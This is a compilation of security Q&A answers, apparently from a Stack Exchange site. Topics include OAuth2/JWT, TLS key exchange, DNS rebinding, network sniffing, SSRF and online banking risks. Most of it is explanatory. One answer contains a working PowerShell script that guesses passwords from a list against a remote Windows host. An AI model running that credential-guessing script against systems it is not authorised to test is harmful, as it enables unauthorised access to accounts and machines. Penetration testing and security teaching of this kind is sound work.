OAuth2 JWT Encryption for Tokens with Scopes to Multiple Resource Servers

I read you question a couple of times because I confronted with a "problem" like your. The solution presented by you, using OAuth2 with OpenID Connect and JWT as token is correct. I wrote on Medium an article where I described in details how to use OAuth2 with OpenID Connect. If you have any questions, please ask me.

LATER EDIT

One of the weaknesses of OAuth2 is that there is no prescribed way for the Resource Server to validate the access token or to use the access token to establish the identity of the user.

Google and other OAuth2 providers solved this problem by providing a TokenInfo endpoint. Resource Servers could pass the access token to this endpoint and get back information about the token validity, user identity, token scope, and expiration time. In my case this endpoint correspond with the Authorization Server.

This concept was expanded in OpenID Connect with the introduction of the ID token. The ID token is a signed and potentially encrypted token which contains the user’s identity and any claims that were in scope.

The ID token is a JSON Web Token (JWT) that contains identity data. It is consumed by the Client and used to get user information like the user’s name, email, and so forth. This is also useful when you have a chain of Resource Servers and a Resource Server can be a Client of another Resource Server.

The JWT feature gives Client applications and Resource Servers the ability to securely get information about the user directly without having to contact the Authorization Server every time.

If you want to prevents the issuance of overly broad access tokens, you can provides an authorization check at each point in the chain. A Resource Server can be a Client for the Authorization Server, present its JWT, and request a new JWT for the next Resource Server in the chain.


Securing user's data against an attacker that may gain server root

Perhaps one of the most interesting case studies of exactly this type of situation is www.blockchain.info, which employs client-side encryption and obviously has a lot at stake: the contents of millions of users' bitcoin wallets.

Their initial approach was a browser extension that verified the website's source assets against a predefined list of hash sums: http://web.archive.org/web/20120905110346/http://blockchain.info/wallet/verifier. This approach lasted for a year or two, when it was deprecated in favor of a browser extension that packages their entire client-side codebase in the extension itself.

Unfortunately I can't find a blog or article from them explaining this change, but googling for these terms will find you comments that suggest the "verifier" approach was not entirely bullet proof.

The extension approach certainly reduces the attack vector as the code responsible for the client-side encryption is only downloaded once, and additionally because app stores such as the Chrome Web Store or Google Play require updates to be signed with the same key as the initial version, ensuring that updates can't be tampered with - of course assuming that you manage to keep your private key secure, and that no exploits are found against the browser or app store platform.

You would definitely be interested in reading the famous "Javascript Cryptography Considered Harmful" article and the many follow-ups and rebuttals out there: http://matasano.com/articles/javascript-cryptography/


In its current state, your code doesn't have a DOM XSS vunerability. $.val sets the value of a form element, which cannot be used to inject JavaScript code into a website.

The innerHTML property or document.write are examples for methods that are vulnerable to DOM based XSS.

You should read up on this topic on the OWASP website. There's also a talk here about this topic (if I recall correctly, it was mostly about a tool to detect DOM based XSS, but also has an introduction to the topic).


DNS Rebinding attack - does this attack require victim to use an attacker's DNS server for resolution? How will that happen?

The victim does not need to use the attackers name server, although this can make things easier. The main idea is, that the original DNS record is under the attackers control and thus also the TTL (time to live) of this record:

Victim tries to access web site. To get the address it asks the companies DNS server. Because the record is not cached yet the DNS server recursively resolves the name and returns the record (from the attackers DNS server) to the victim.
If the victim needs to look up the IP address again (which can often be triggered by connection failures on the first IP) it will again ask the companies DNS server. If the record is cached the TTL gets checked. If the record is still valid it will be returned to the victim (with the old address). If it is not valid the companies DNS server will again recursively resolve the name and at the end get the new record from the attackers DNS server.

Another option would be for the attacker to return an answer which contains already both IP addresses (the good and the bad one). The victim will first use the good address. Once this stops working (which can be triggered by the attacker) the victim will retry with the alternative (bad) IP address.


What can I do as a user to minimize the risk of online banking?

I briefly read the papers you linked to and they expose several vulnerabilities allowing an attacker that can talk to the reader to make it sign transactions/login requests without requiring user consent. However, this isn't a big deal, for an attacker to "talk" to the reader your machine already has to be compromised and if that's the case, no amount of security can protect you.

On the other hand, this smartcard system is actually pretty nice and requires the card to be physically present to make a transaction, making stealing of card numbers useless. IMO, that's how online card payments should've been done from the beginning.

Now, let's go through your checklist :

using Tor is unnecessary; you don't need anonymity, and security is already provided by the fact that the bank's site uses HTTPS. Even in the case that their HTTPS implementation is flawed, Tor won't give you any more protection and at this point you shouldn't use their site at all.
using a VM on a compromised host is stupid. If your host is compromised, the attacker still has total control of the hardware and can even "talk" to the reader to exploit the vulnerabilities described in the papers you linked. Moreover, you won't be able to install the reader's drivers and browser plugin in a Linux environment.
given the papers linked in your question, I'd say offline mode may be more secure. It doesn't display transaction info, but on the other hand, it only allows them to make a single transaction, where as in the connected mode they can exploit a vulnerability to make the card sign an unlimited number of transactions without requiring user consent (as long as the card is in the reader).
card skimming won't allow them to make online transactions, as skimming won't steal the secrets in the chip, and this EMV-CAP system relies on the chip to perform crypto operations. The magnetic stripe is never involved. Stealing the PIN may give an attacker the possibility to make payments if they also physically steal your card. - skimming a smartcard chip is impossible.

TL;DR don't use a compromised machine and you will be safe. If you suspect your machine is compromised (because you installed pirated software or software coming from untrusted sources, keygens, shady "video players" or plugins, etc), reinstall it from scratch and be more careful. Finally, even if the machine is compromised, I doubt attackers updated their malware to exploit these readers - it's just not worth it (for now) as simply keylogging card numbers is still a juicy business and they have no reason to devote their time to update malware for the really low number of people who use these card readers.


What hashing/encrypting to use for publicly shared string matching a secret code

You're looking for message authentication codes, not pure hashing. You could probably do something like the following:

The server generates a code. It also keeps a secret (that's basically what you meant by your secret salt). Then it calculates

mac = hmac-sha256(code, secret)

mac is stored in your jwt. When the user enters his code, the server uses it and the secret only the server knows to calculate mac2, and if mac2 matches mac, the user entered the right code.

Edit: You've correctly pointed out that this can be exploited because the same code always yields the same mac. So you can correct for this problem like so:

mac = hmac-sha256(code || salt, secret)

Now you have to store salt along with mac in your jwt. Choose a new random salt every time you generate a new mac. I think the above construction is safe, but you might want to google a bit to make certain.

HMAC is a protocol to use to generate message authentication codes (macs), see Wikipedia for more information. Most programming languages offer a library to work with HMACs.


Where would I place a sniffer to capture data in a home network with the following topology?

First case: Your sky router has a mirroring port / You can dedicate a port to mirroring.

Should be very simple to tap the traffic, check your router specs/doc.

Second case: you want to do it by implementing new hardware in your topology.

With the following:

You want to tap Outbound and Inbound traffic.
This sky Router is not your WAN Gateway.
You don't want to tap local traffic, (For instance: MacBook -> skyRouter -> IPCamera)

Here is how I would do it:

+--------------+  +--------------+  +-------------------+  +-----------+  +------------+
| The Internet +--+ ISP's router +--+ Transparent proxy +--+ SkyRouter +--+ Endpoints |
+--------------+  +--------------+  +-------------------+  +-----------+  +------------+

In the scheme above The transparent proxy is the sniffer.

If both cases don't suit you for some reason, there is a dirty way of doing it. You can set your MacBook Wifi NIC into promiscuous mode and tap Traffic.

Keep in mind that this method results won't be accurate. You will tap traffic that has nothing to do with your network and might miss some traffic of yours.

I don't recommend it


How does Tor maintain anonymity when a source and destination are required at the end?

The trick is that it's the payload of the packet that's encapsulated, not the whole TCP packet. Therefore, when the packet leaves the tor exit node unencrypted, it is sent with the return address of the tor exit node. So a service will know that a packet came from a tor exit node and is being anonymized, but unless there's information in the packet payload itself to identify you (such as login information, session coookies, or some protocol that includes your IP in the payload), the endpoint/service doesn't know the originator's IP.

Furthermore, the tor exit node tracks the session, so it can return the packet to you, but it's only tracking the session from the tor middle node to the service/website being accessed. So an exit node will be able to see the service/website being accessed, but won't know the originator.

The middle node in turn is only tracking the session between the entry node and the exit node. So it knows neither the originator nor the destination.

The entry node knows the originator's IP address, but doesn't know the destination.

The reason there are three nodes instead of two is to defend against someone who's compromised either the entry or the exit node from being able to sniff traffic going into/out of the other node and make reasonable conjectures on which originator traffic correlates with which destination traffic based on packet size and timing. With three nodes, the entry node doesn't know which exit node is used and vice versa.


How can I look up a Certificate Authorities CAA record value?

The best way I can think of is asking the CAA record of issuers' domain. Most likely they have it setup for their own domains. I tried it with a few and it seems to work for some.
$ dig caa comodo.com
...
comodo.com.     1013    IN  CAA 0 issue "comodoca.com"
...
$ dig caa symantec.com
...
symantec.com.       3599    IN  CAA 0 issue "symantec.com"
...
$ dig caa digicert.com
...
digicert.com.       3599    IN  CAA 0 issue "digicert.com"
...

vcjones also pointed out there is a list maintained by Mozilla here.
Apart from these, your best bet is probably asking the CA what value they need in this field.


I am not really good in tls details, just know some basics.

In this case I really recommend you to read How does SSL/TLS work?.

  Is there a way to decipher tls in wireshark if the cipher method is diffie hellman? I know that using web browser it is easy as I have session key there. But in general case how I can extract session keys if I just have tls over bare tcp?#

The point of TLS is to protect the transport against sniffing. This means if properly used there are no information inside the TCP connection which allow the decryption. Only client and server have the necessary information to encrypt and decrypt the data.

  If I have multiple clients who connect to the server, how does the server distinguish between different certificates and chooses the right one to decipher the message?

The server does not use certificates to decrypt the traffic. The certificate is only used for authentication to prevent man in the middle attacks. In case of RSA key exchange the server certificate is additionally used inside the key exchange.

It is common that a server has only a single certificate. If the server has multiple certificates for different domains then the client needs to specify which domain it wants to access inside the SNI extension of the ClientHello (first message of TLS handshake).


Steps to secure an account where an attacker keeps resetting the password

It is the responsibility of the company you have an account with to handle this attack correctly. Choosing a secure password is the best you can do. The web site should have rate limiting, or the company should manually block an attack like this.


Is a new protocol needed for credit card transactions?

You've asked a bunch of questions.

Do we need a new protocol for credit card transactions? "Need" is not the right word.  Credit card security is all about risk management: balancing the losses due to security problems, against the costs of a better security mechanism.  In the credit card space, there are huge costs to changing the protocol, given the huge deployed base.  In addition, anything that makes it even a little bit harder or less convenient for credit card holders to make a purchase has major implications for the credit card company's bottom line, so credit card companies may be glad to accept some rate of fraud if in return making a purchase is really easy and convenient.

So, while the current protocol for credit card transactions (send your credit card number in cleartext to the server) has almost no security from a technical perspective, it may well be good enough, when you consider the costs of the alternatives.  In any case, this is not a yes/no question: it's a matter of balancing the risks and the rewards.

Is it chip-and-pin more secure?  Chip-and-pin eliminates a number of security problems in prior systems.  However, it has problems of its own.  First, there have been some security problems found, in turn, in chip-and-pin.

Second, adoption of chip-and-pin in the UK was initially tied to a change in the liability model in a way that has harmed consumers.  In the event of a disputed charge on your card, what happens?  The answer used to be: by default, the bank would refund you (if you claim you didn't make the purchase, the presumption lies with you: the bank had the burden of proof if they wanted to argue that you are lying).  With the adoption of chip-and-pin, many banks changed the model: by default, you have to pay (if you claim you didn't make the purchase, the burden of proof is on you to prove it).  I'm not familiar with the latest status, so I don't know if this is still true, but I think it illustrates a general risk to consumers.

In particular, when new protocols are adopted, there is an opportunity for mischief: an opportunity for banks to claim that the new system is so secure and so impenetrable that, in the event of a dispute, the bank's computer systems should be presumed correct.

Could we design a more secure protocol for web-based credit card transactions? Yes, certainly.  The primary challenges are not technical in nature -- rather, they relate to the ecosystem.  There are many players here, with diverse interests, and any change would need to be adopted by most or all of the players -- which means, a new protocol will only be successful if it is in all of their interest.  Designing a protocol that reflects these ecosystem constraints, and is simultaneously more secure, is the real challenge.

Before diving too deep into design of a new protocol, I suggest you start by studying history.  For instance, you might look at SET, a protocol which encrypted the customer's credit card number on the client side, so that the merchant never got to see the credit card number (only an encrypted version).  Sounds like a good idea, right?  Yet SET went nowhere, for a number of reasons related to legacy issues and ecosystem considerations.  So, study  your history, and learn from it.

Resources for further reading.  I suggest the following papers and resources to learn more:

Optimised to fail: Card readers for online banking, Saar Drimer, Steven J. Murdoch, and Ross Anderson.  Financial Cryptography 2009.  See also the associated short blog post.
Wikipedia on EMV Vulnerabilities.


What is the best way to store passwords in OpenLDAP?

Ok, so I found some resources that are helping me to answer my question.

There is a module that allows you to use PBKDF2 with either SHA1, SHA256 or SHA 512. This is probably the best solution for most situations. (See: https://github.com/hamano/openldap-pbkdf2 )
Alternatively, you can use the local Unix/Linux crypt facility, and configure OpenLDAP to salt the passwords. YMMV will vary by platform. AlgorithmsAvailable hashes on RHEL 7.1 include MD5, Blowfish, SHA-256 and SHA-512 according to the crypt(3) manpage.

For my situation, salted general purpose hashes don't cut the mustard, so the first option is the best solution.


The very next sentence gives a short explanation:

  Stitched ciphersuites are optimised implementations of certain commonly used
  ciphersuites.

Googling, the term is better explained in the paper Improving OpenSSL* performance, which cites Fast Cryptographic computation on IA processors via Function Stitching as the source of the term, where you can find:

  We present fast and
  efficient methods of computing such pairs of functions on IA processors
  using a method called “function stitching”. Instead of computing pairs of
  functions sequentially as is done today in applications/libraries, we
  replace the function calls by a single call to a composite function that
  implements both algorithms. The execution time of this composite
  function can be made significantly shorter than the sums of the execution
  times for the individual functions and, in many cases, close to the
  execution time of the slower function.

As explained in the first paper, the two functions being "stitched" together here are an encryption function and an authentication function, doing both at once instead of one and then the other.

A "non-stitched" implementation would be one that doesn't utilize this sort of performance optimization.


What one can achieve with blind server-side request forgery depends heavily on the context of the vulnerability. Port scanning (XSPA) and hitting unauthenticated HTTP endpoints (e.g. /shutdown :P) are possibly the most obvious things you can achieve, however, from my personal experience as a bug bounty hunter, people will attempt to chain blind SSRF with other issues in order to escalate the severity and exploitability as seen in http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html.


What's the standard way to encrypt a file with a public key in Java?

One common, standard encryption format is Cryptographic Message Syntax (CMS, evolved from PKCS#7), and e.g. BouncyCastle supports it.  It allows for signatures also, and is the basis, e.g., for S/MIME mail message security.  It may be overkill, but is widely supported.

Example code is provided by Bouncy Castle.  For CMS, see org.bouncycastle.cms.test, probably the Enveloped Data examples.

Another option is the XML Encryption format, standardized by W3C.  For Java examples, see e.g. Exploring XML Encryption, Part 1 or do it with XSS4J: Implementing XML Encryption in Java


How dangerous is it to open my DNS server to the world?

Apart from being unintentionally DDOS if the DNS server is found and
  being used but botnets etc., what is the risk of doing that? I guess
  some people scanning the web may eventually find that DNS server and
  use it for some (bad) reasons, but in the end is my LAN at risk?

Any open port increases the attack surface, in theory. Your LAN could be at risk if a serious vulnerability is found in whatever DNS software you use.

The biggest risk is that your DNS server becomes an unwitting participant in DNS amplification attacks. Your home connection could also be flooded with bad traffic and become unavailable due to saturation.

To minimize abuse you could also set up rate limiting (RRL). Here is for example how it is implemented in Bind.

What I usually do for a private DNS service is to configure the resolver (eg Unbound) so that it only listens to a local interface (tun0), that is used by OpenVPN. So it is only visible to VPN clients and not open to the whole Internet.

So the best solution is to use a VPN. You've said this is not convenient in all situations, then something you could do is set up port knocking. This is security by obscurity but seems sufficient to me in this scenario. Here is an example  that explains the concept. But since you have a router this will require opening a few ports (those required by the knocking sequence you'll define).

Now correct me if I'm wrong, but I had a look at the doc for Pihole and I have the impression that the built-in DNS 'server' is dnsmasq, so it is only a forwarder that sends requests to upstream servers like Google or OpenDNS. Then this is not a real resolver like Bind or Unbound and the benefit is not so obvious.

However they explain how to use Pi-hole with Unbound: Setting up Pi-hole as a recursive DNS server solution


Test a known list of possible Windows Remote Desktop credentials?

Okay, I tried this earlier with some live systems that had PS Remoting enabled and just banged out a script that seems to manage itself o.k.:

#Pentest-RemotePSCredsList.ps1

$pusername = 'DOMAIN\Username' #possible username (FQDN)
$ppasswords = 'GoodPass','BadPass0','BadPass1','BadPass2' #list of possible passwords array variable
$hostname = 'hostname' #name of target machine, or IP addr

ForEach($p in $ppasswords)
{
  echo Attempting password: $p
  $secpasswd = ConvertTo-SecureString "$p" -AsPlainText -Force
  $mycreds = New-Object System.Management.Automation.PSCredential ($pusername, $secpasswd)
  Enter-PSSession $hostname -Credential $mycreds
  pause
} # end foreach

I was surprised, even if a good command completes first without any errors and after if the others spit out a Access denied error at you, once the whole script is finished you still end up connected in a remote cmdline session. So as long as one of those passwords in your list is good, it should work.

After troubleshooting getting a Access Denied error and not anything else, I fleshed out the password list with about 15 of what I thought were most likely and got one to work right away! :D

Now this is weird because the real answer that solved my problem has nothing to do with the title of my question. It was thanks to everyone else that I just got it. Should I just delete this one entirely?


Interrupts like 0x80 have been deemed 'too slow' for modern processors. The interrupt's raison d'être was a way to move between userland and kernelmode. In Linux, there is a newer method of doing that that is faster that uses SYSENTER and SYSEXIT instuctions and uses a VDSO - Virtual Dynamically linked Shared Object. This allows user processes to access kernel resources without sending an interrupt.
More detailed information can be found at this write-up by Manu Garg
I know your question is about Win10; have only been working with Linux in this area recently, so can only assume that there is a corresponding change in the Windows kernel. Hopefully this will give you a starting point!


No, there is only one public key in the certificate. Obviously the server should also have the private key that belongs to the public key in the certificate.

The session key is retrieved using key establishment. There are basically two ways:

the master secret is generated and then encrypted by the client using the public key of the server, the server can now decrypt the master secret and derive the session keys;
the master secret is derived using Diffie-Hellman key agreement, the frames required for the key agreement are then signed by the server using the private key and verified by the client to perform the authentication.
in principle the certificate can also contain a static Diffie-Hellman key but in practice this isn't used (much); in this case the key agreement is automatically verified.

The session keys are then derived from the master secret using key derivation with the PRF (identified at the end of the ciphersuite).

Type 1. is used by cipher suites starting with e.g. RSA_. Type 2. is used by ciphersuites starting with ECDHE_ or DHE_. Type 3 is identified with ECDH_ or DH_.

In case of client authentication the client should also perform authentication of the exchanged frames.

TLS 1.3 will only allow type 2 key establishment as it only relies on signature generation for the certificate. Furthermore it provides forward secrecy because the ephemeral (temporary) DH keys are destroyed after the key establishment has been performed. This makes it impossible to break the key establishment itself, re-calculate the session keys and decrypt the encrypted frames with the plaintext within the session.


Do these packages indicate nefarious activities?

John is not typically run on victim's computers. It has two uses. First, an attacker runs john on their computer to try and crack a victim's password. Second, a sysadmin can run john locally to look for weak passwords. So I wouldn't assume that you've been hacked just because john was installed.

From the message in your post, it looks like you installed some package X that required john and then subsequently uninstalled X. Now the system is offering to clean up for you.

Exactly what package X was is impossible for me to know. Perhaps someone on AskUbuntu knows how to do some package history magic so that you can recover that information.


Disable local/KVM access on a Linux VPS (allow only SSH)

If you're worried about the VPS control panel as a security vulnerability, then your best bet is to block (e.g. firewall off) access to the VPS control panel rather than disabling local login, since there's typically more you can do than just console login.

But yes, you can disable local consoles. They're started up by init; so your configuration for whichever init variant you're running will have the configuration. For example, if you're using classic SysV init, then you'll look in /etc/inittab.


It seems to be the case that an apt-get dist-upgrade caused the trouble. After setting up another VM leaving this step out the installation finished sucessfully.

// Eventhough I got it running I'm now using Ubuntu Server and the packets provided by Mohammad Razavi when it comes to virtualized instances of OpenVAS. I had severe problems handling the scans. The scan processes started but hung themselfes after 1% - 9% and did never finish. Didn't have to deal with problems like this in presvious versions of kali.


In short: yes, this would suffice under common circumstances. Of course you cannot get your data back, but it would prevent the program from launching again.

Reimaging usually replaces all programs on the C: drive and resets Windows and its settings completely. The list of programs to be executed upon startup is in system files, so reimaging will prevent the malware from launching unless you click it again.

If user data is kept, if there is another drive, or if the malware came from something like an email attachment, reimaging will not replace those files. If you accidentally click it again, or if the malware has embedded itself into other files that are not replaced by reimaging, then you will be reinfected.

In a very obscure case, it might also have embedded itself into places like the BIOS or other firmware, but I have not heard of mainstream malware doing that so that would be very unlikely. (If this were the case, you would probably have to throw the hardware away; but again, I have not heard of this happening yet.)

If your disk image is simply a backup, then be careful that your disk image does not contain the ransomware. Backup your backup before you operate on it!


How can an attacker access a system with a private IP address?

The router is like a automated door that would:

Let anyone open it from the inside
Require a passcode to open from the outside

There are multiple ways to bypass the normal behaviour, some are exploiting flaw in the implementation of the router, other flaw in the protocols and some in design.

Let's say you invited a friend to stay at your home, then you go to work. If he is a bad friend, calls thieves and open the door from the inside for them, thieves can come in and rob you.

Well, now you decided not to entrust anyone. A thieves can come to your door, confuse the automate to let him think he is inside so that the door opens (e.g. TCP flag manipulation).

The thieves can also go to a bar you're usually in, pay you a couple of beers and get the passcode to enter from yourself.

The thief can also go to the door with a list of passcodes and try them one by one until the door opens.

If you open a port for a service, let's say you are a medical doctor with a secretary. People may come in and go to the secretary, but not come in and go to your house. A thieve can come in, disrupt/dupe the secretary and go in your house while she's not looking.

Back on more computer thematic. Once inside, an attacker can exploit a vulnerability of your computer to install a bot on your machine. Then your machine will try to access the internet, which it is allowed to do anyway.

Per se, NAT masquerading is not a security measure, because it has initially been design to allow multiple computers to access the internet using a single public IP address. The more we progress, the better the router are able to block malicious request coming from the outside. But they are always cases where it's not easy to distinguish legal traffic from forged one.


I usually use SMS. While not perfectly secure, this is more secure than email and generally adequate. It has the major benefit of not requiring any setup, such as exchanging PGP keys.

You could make this more secure by sending half of the password by email and half by SMS. Alternatively (as suggested by Michael Kropat) send a file with the symmetrically encrypted password by email, and SMS the decryption password.

For SSH keys, you should only transfer the public key. If you're granting a user access to a server, they should send you their public key, rather than you send them a private key. You still need to confirm the received key is authentic, but you don't need to keep it confidential.


IKEv2: Why is it important "that each side sign the other side's nonce"

The sentence you quote is about replay attacks. If two systems A and B run the protocol and B proves its identity by signing some data element x, then that value x must change in some way every time the protocol is played. Otherwise, if x is reused, then an attacker C may impersonate B, by first observing the protocol once (to get a copy of B's signature on x), then by claiming to be B and showing that signature value again.

So x must change each time; and A must be sure that x is a new value, so it must not be chosen by B, but by A. A value chosen anew for each protocol run by a party and sent to the other is called a nonce.

The symmetrical situation arises when A signs and B verifies, so you need two nonces, and each system must sign the other side's nonce.

A simple nonce is not enough, though, because some industrious attacker could do the following:

C connects to A and claims to be B.
Simultaneously, C connects to B and claims to be A.
A sends a nonce u to be signed by C (A will verify it with B's public key).
B sends a nonce v to be signed by C (B will verify it with A's public key).
C sends u to B as the nonce to be signed by B.
C sends v to A as the nonce to be signed by A.
B signs u, as is specified by the protocol.
A signs v, as is specified by the protocol.
C sends B's signature on u to A.
C sends A's signature on v to B.

And voila! both A and B received a signature from, respectively, B and A, on the nonce values u and v that they sent. So now A and B are "sure" to be talking to each other, while in fact they are talking to the attacker C.

The trick here is that C "retargets" nonces and signatures: the attacker sends as "nonce to sign" the value that he received himself, and also sends back as "signature on nonce" a signature that he received. To prevent such attacks, the signature must not cover only the nonce, but also enough connection-specific data to prevent this retargeting. That is the point of including the whole IKE_SA_INIT in that block which is signed.

This kind of protocol issue is generic; you'll find the same kind of countermeasures in SSL/TLS, where both the signature from the client (CertificateVerify) and the final checksums (Finished messages) operate on hashes computed over all previous handshake messages.


Why use a separate key exchange method like DH during the TLS handshake

... when the client could just create a random symmetric key and encrypt it using the servers asymmetric public key?

What you are describing is essentially RSA key exchange which is also available, at least until TLS 1.2. The problem is that this kind of key exchange provides no forward secrecy, i.e. if the attacker manages to get the private key of the server he can extract the symmetric key from the key exchange to this server and can thus  decrypt any previously sniffed traffic to this server. Contrary to this DH results in a key which is not associated with the servers key or any other static secrets  and thus provides forward secrecy.

Even if the attacker has access to the private key and only wants to sniff the current connection DH makes it harder. With DH key exchange the attacker needs to be in the middle, i.e. must create a TLS connection between client and attacker and another one between attacker and server, both using the same certificate and private key so that the victim does not notice. Depending on the position of the attacker in the network this active attack can be easy or not. Also, active MITM is not possible if the client is also using a certificate (mutual authentication) unless the attacker also has access to this certificate. With RSA instead the attacker only needs to passively listen to the direct connection between client and server in order to decrypt it and can do this also when client certificates are involved.


How can Key Compromise Impersonation be mitigated?

1) Look at the seventh page of the document. There is a list of them:

TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA
TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DH_DSS_WITH_AES_128_CBC_SHA
TLS_DH_RSA_WITH_AES_128_CBC_SHA
TLS_DH_DSS_WITH_AES_256_CBC_SHA
TLS_DH_RSA_WITH_AES_256_CBC_SHA
TLS_DH_DSS_WITH_AES_128_CBC_SHA256
TLS_DH_RSA_WITH_AES_128_CBC_SHA256
TLS_DH_DSS_WITH_AES_256_CBC_SHA256
TLS_DH_RSA_WITH_AES_256_CBC_SHA256
TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA
TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA
TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA
TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_DH_DSS_WITH_SEED_CBC_SHA
TLS_DH_RSA_WITH_SEED_CBC_SHA
TLS_DH_RSA_WITH_AES_128_GCM_SHA256
TLS_DH_RSA_WITH_AES_256_GCM_SHA384
TLS_DH_DSS_WITH_AES_128_GCM_SHA256
TLS_DH_DSS_WITH_AES_256_GCM_SHA384
TLS_ECDH_ECDSA_WITH_NULL_SHA
TLS_ECDH_ECDSA_WITH_RC4_128_SHA
TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDH_RSA_WITH_NULL_SHA
TLS_ECDH_RSA_WITH_RC4_128_SHA
TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384

Also, looking at your versions, you should disable ephermal DH handshakes (and allow only ephermal ECDH), because you cannot supply in this version your own DH prime, so you will use the common insecure one.

2, 3) You will have to contact your certification authority. You cannot modify the certificate.


A VPN just moves the point of entry of your unencrypted data to a different network provider. It's great if you don't trust the network provider you're actually connected to, maybe because it's a public wifi network or because you think your government might be monitoring it, but you have to trust the VPN provider's network instead. If you don't want to trust any network provider, you have to use encrypted connections only and just give up on browsing websites that don't support TLS and on other unencrypted protocols.


How do Azure ACS 2.0 security features compare to ADFS 2.0?

This is a great question.  However, there are quite a few differences between ACS v2 and ADFS v2 from a risk perspective.

ACS does not have an IdP, therefore it does not do any authentication, whereas ADFS does.
As far as I understand it, ACS does not attempt to prevent token replays.  It leaves that up to the IdP providing the original token, and the RP.  I cannot definitevely say this is 100% true though as I can't find any documentation on it, but I'm working on a project to test this... will update with results.
ACS supports 3 token types and protocols (WS-Fed, SAML 1.1/2.0, and SWT), whereas ADFS supports only 2 types (WS-Fed. SAML 1.1/2.0).
ADFS supports custom attribute stores.  ACS will only use claims within received tokens.

With all of that being said, I would argue that ACS and ADFS are more complimentary than anything.  ACS works nicely as an endpoint for Azure/Cloud hosted applications, as it can be modified relatively easily to accept other IdP's.  ADFS works well internally, but its a bit of a pain to add IdP trusts.  This gives a security boundary between the application, the environment(cloud et al), and the organization internally.

EDIT: Follow up questions:

In theory SAML 2 is the most secure, but it is also the most complex
More protocol support leads to larger attack surface
Home realm discovery leak (ADFS) -> see here: http://blogs.objectsharp.com/cs/blogs/steve/archive/2011/03/28/plugging-application-authentication-leaks-in-adfs.aspx
Home realm discovery leak (ACS) -> Not as of yet.


Is it less secure to use OpenDNS for banking accounts, SSH, Adsense account?

Both should be just as secure as it was previously.  DNS just resolves domain names to ip addresses.  This is completely separate from any security model, and OpenDNS is probably as trustworthy as the DNS you were getting from your local ISP.

When you go to a website, you type in a domain name (security.stackexchange.com.) which your browser than queries a DNS server to get an IP address (64.34.119.12).     This tells your computer which address your request packets should be directed to over the open internet.  Then your packets are routed over the open internet, so they should go to the computer that was assigned that IP address.   By choosing to use OpenDNS you just are asking different computers what is the IP address of security.stackexchange.com, whether you'll trust your ISP's DNS servers or OpenDNS's for these types of inquiries.

However, both of these systems could be subverted.  The DNS record/response could be tampered with to direct you to the wrong IP address, or the routing that should go to 64.34.119.12 could be redirected by a malicious router to the wrong server.  So in general you shouldn't trust regular old http connections.

But if you connect to your bank, you typically go to an HTTPS site (https://www.yourbank.com).  Most modern web browsers will display a Lock in the URL and have https in green, if your browser has a properly signed certificate issued from a trusted certificate authority (CA).  Your web browser comes with a list of trusted CAs, and automatically checks that the certificate is valid, is trusted, and was issued to the domain name you wanted to go to.  You will also be warned if the page doesn't have a properly signed certificate, or a certificate for the wrong site, or one that expired, etc.  You should not do any sort of banking/credit card transactions over non-https connections.  Furthermore, your https traffic will be encrypted, so eavesdroppers cannot listen in.  You should be careful to make sure that the domain name of the https is correct, e.g., its https://www.yourbank.com as opposed to https://yourbank.notyourbank.com.

When you ssh to a server that you have connected to in the past, you have the public key of the remote server stored on your computer in the ~/.ssh/known_hosts file.  You will be warned if the remote server cannot answer a challenge for the public key  (that the server could only answer if it has the corresponding private key) or if the public key changes.  Thus after connecting to a ssh server once from a trusted computer, you can be assured that subsequent connections are to the same computer.  ssh also encrypts all traffic.


How and when should I use OpenSSL for IT Security? How do I understand the output?

There is no good documentation on OpenSSL save its source code. Sadly. The best you can do is to gain some understanding of the underlying concepts, and then make some trials with OpenSSL to see how it lives up to them. For SSL/TLS, I suggest reading the TLS 1.0 specification, which is quite readable and includes some schematics on how things go in a TLS handshake.

For the elementary cryptographic algorithms, see the indispensable Handbook of Applied Cryptography, which is freely downloadable. Chapter 13 includes some discussion on the concept of public key certificates.

For X.509 certificates, you first must understand what ASN.1 is about; see ASN.1 Complete, by John Larmouth. The book is freely downloadable (after registration) and is good as long as you do not buy the idea that ASN.1 is great: it is an awful incarnation of what could have been a great solution (the Devil is in the details; in the case of ASN.1, the Devil had enough room to hide an entire legion of demons with him). Once you see what ASN.1 is about, you can try to have a look at the X.509 standard, or at least its Internet profile. It is a deep and dark and complex domain, paved with all the Good Intentions in the world, and as nightmarish as could be imagined by a demented scientist who read too much Lovecraft. All hope abandon ye who enter here. Also, have a look at the X.509 Style Guide.

My trusty friend Google came up with this page which links to some sample code and documentation (as two PDF files) explaining how to use OpenSSL (as a library).


Copy-and-pasting plaintext data from encrypted container

The browser itself might store locally the information in what they call form suggestion for auto completion. For example type in your address when you buy something and google chrome will suggest to prefill that address from there on to any Ship To: form of every site. Some browsers play nice and will not store auto completion for forms marked with the password field however they will offer the option of storing your password locally ( and remote on the company's server if google chrome or safari). As for where you can find it, it's usually a small sqlite database file in either ~/.config or your User account folder ( if windows)


IP Address when access website on Remote Computer

Unless COMP2 and COMP1 are on the same network or are managed by the same domain. then it is unlikely that they can trace what you browse on COMP2 whilst your at work using COMP1.

